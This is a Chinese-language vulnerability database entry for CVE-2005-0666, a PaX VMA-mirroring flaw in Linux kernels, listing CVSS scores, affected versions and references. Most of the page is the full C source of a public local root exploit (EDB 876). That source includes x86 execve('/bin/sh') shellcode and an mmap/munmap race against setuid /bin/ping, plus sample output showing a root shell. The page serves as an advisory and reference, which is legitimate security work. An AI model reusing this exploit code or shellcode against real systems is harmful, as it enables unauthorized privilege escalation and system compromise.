CVE-2005-0666
CVSS4.6
发布时间 :2005-05-02 00:00:00
修订时间 :2008-09-05 16:46:57
NMCOE    

[原文]Unknown vulnerability in PaX from the September 2003 release to 2.2 before 2005.03.05, related to SEGMEXEC or RANDEXEC and VMA mirroring, allows local users and possibly remote attackers to bypass intended access restrictions and execute arbitrary code.


[CNNVD]PaX本地权限提升漏洞(CNNVD-200505-271)

        PaX存在一个任意代码执行漏洞,本地普通用户可以利用这个漏洞以他们和其他用户可执行的任意程序的权限执行任意代码。远程攻击者对目标中可执行文件映射所能控制的程度。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:the_pax_team:pax_linux:2.6.5
cpe:/a:the_pax_team:pax_linux:2.4.23
cpe:/a:the_pax_team:pax_linux:2.4.20
cpe:/a:the_pax_team:pax_linux:2.4.28
cpe:/a:the_pax_team:pax_linux:2.4.24
cpe:/a:the_pax_team:pax_linux:2.4.25
cpe:/a:the_pax_team:pax_linux:2.4.26
cpe:/a:the_pax_team:pax_linux:2.4.21
cpe:/a:the_pax_team:pax_linux:2.4.27
cpe:/a:the_pax_team:pax_linux:2.4.22
cpe:/a:the_pax_team:pax_linux:2.2

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0666
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-0666
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200505-271
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/12729
(UNKNOWN)  BID  12729
http://www.securityfocus.com/archive/1/392348
(UNKNOWN)  BUGTRAQ  20050305 PaX privilege elevation security bug
http://secunia.com/advisories/14489
(UNKNOWN)  SECUNIA  14489

- 漏洞信息

PaX本地权限提升漏洞
中危 其他
2005-05-02 00:00:00 2005-10-20 00:00:00
远程※本地  
        PaX存在一个任意代码执行漏洞,本地普通用户可以利用这个漏洞以他们和其他用户可执行的任意程序的权限执行任意代码。远程攻击者对目标中可执行文件映射所能控制的程度。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
        http://pax.grsecurity.net/" target="_blank"

- 漏洞信息 (876)

PaX Double-Mirrored VMA munmap Local Root Exploit (EDBID:876)
linux local
2005-03-14 Verified
0 Christophe Devine
N/A [点击下载]
/*
 *  PaX double-mirrored VMA munmap local root exploit
 *
 *  Copyright (C) 2005  Christophe Devine
 *
 *  This exploit has only been tested on Debian 3.0 running Linux 2.4.29
 *  patched with grsecurity-2.1.1-2.4.29-200501231159
 *
 *  $ gcc paxomatic.c
 *  $ ./chpax -m a.out
 *  $ ./a.out
 *  ...
 *  usage: ping [-LRdfnqrv] [-c count] [-i wait] [-l preload]
 *          [-p pattern] [-s packetsize] [-t ttl] [-I interface address] host
 *  sh-2.05a# 
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/page.h>

#define MAXTRIES 64
#define PGD1_BASE 0x40000000
#define PGD2_BASE 0x50000000
#define PGD_SIZE (PAGE_SIZE * 1024)
#define MMTARGET (PGD1_BASE + PAGE_SIZE * 2)

unsigned char child_stack[PAGE_SIZE];

char exec_sh[] =                    /* from shellcode.org */

    "\x31\xdb"                      /* xorl         %ebx,%ebx       */
    "\x8d\x43\x17"                  /* leal         0x17(%ebx),%eax */
    "\xcd\x80"                      /* int          $0x80           */
    "\x31\xd2"                      /* xorl         %edx,%edx       */
    "\x52"                          /* pushl        %edx            */
    "\x68\x6e\x2f\x73\x68"          /* pushl        $0x68732f6e     */
    "\x68\x2f\x2f\x62\x69"          /* pushl        $0x69622f2f     */
    "\x89\xe3"                      /* movl         %esp,%ebx       */
    "\x52"                          /* pushl        %edx            */
    "\x53"                          /* pushl        %ebx            */
    "\x89\xe1"                      /* movl         %esp,%ecx       */
    "\xb0\x0b"                      /* movb         $0xb,%al        */
    "\xcd\x80";                     /* int          $0x80           */

int child_thread( void *arg )
{
    char *argv[2], *envp[1];

    argv[0] = (char *) arg;
    argv[1] = NULL;
    envp[0] = NULL;

    execve( (char *) arg, argv, envp );

    exit( 1 );
}

int main( void )
{
    int i, j, n, pid, s;

    for( i = 0; i < MAXTRIES; i++ )
    {
        printf( "Try %d of %d\n", i, MAXTRIES );

        if( mmap( (void *) PGD1_BASE, PAGE_SIZE, PROT_READ, MAP_FIXED |
                  MAP_ANONYMOUS | MAP_PRIVATE, 0, 0 ) == (void *) -1 )
        {
            perror( "mmap pgd1 base\n" );
            return( 1 );
        }

        if( mmap( (void *) PGD2_BASE, PAGE_SIZE, PROT_READ, MAP_FIXED |
                  MAP_ANONYMOUS | MAP_PRIVATE, 0, 0 ) == (void *) -1 )
        {
            perror( "mmap pgd2 base\n" );
            return( 1 );
        }

        if( mprotect( (void *) PGD1_BASE, PAGE_SIZE,
                      PROT_READ | PROT_EXEC ) < 0 )
        {
            perror( "mprotect pgd1 base" );
            fprintf( stderr, "run chpax -m on this executable\n" );
            return( 1 );
        }

        if( mmap( (void *) MMTARGET, PAGE_SIZE * 2, PROT_READ | PROT_WRITE,
                  MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0 ) == (void *) -1 )
        {
            perror( "mmap target\n" );
            return( 1 );
        }

        for( j = 0; j < 1; j++ )
        {
            memset( (void *) MMTARGET + PAGE_SIZE * j, 0x90, PAGE_SIZE );
            n = 16 + ( sizeof( exec_sh ) & 0xFFF0 );
            memcpy( (void *) MMTARGET + PAGE_SIZE * ( j + 1 ) - n, exec_sh, n );
        }

        if( mprotect( (void *) MMTARGET, PAGE_SIZE,
                      PROT_READ | PROT_EXEC ) < 0 )
        {
            perror( "mprotect target" );
            return( 1 );
        }

        munmap( (void *) PGD1_BASE, PGD_SIZE );
        munmap( (void *) PGD2_BASE, PGD_SIZE );

        for( j = 0; j < 8; j++ )
        {
            if( ( pid = clone( child_thread, child_stack + PAGE_SIZE,
                               SIGCHLD | CLONE_VM, "/bin/ping" ) ) == -1 )
            {
                perror( "clone suid" );
                return( 1 );
            }

            waitpid( pid, &s, 0 );

            if( ! WEXITSTATUS(s) && ! WIFSIGNALED(s) )
            {
                printf( "hasta luego...\n" );
                return( 0 );
            }
        }

        fflush( stdout );
    }

    printf( "shit happens\n" );

    return( 1 );
}

// milw0rm.com [2005-03-14]
		

- 漏洞信息

14564
PaX vma Mirroring Local Privilege Escalation
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2005-03-05 Unknow
2005-03-15 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站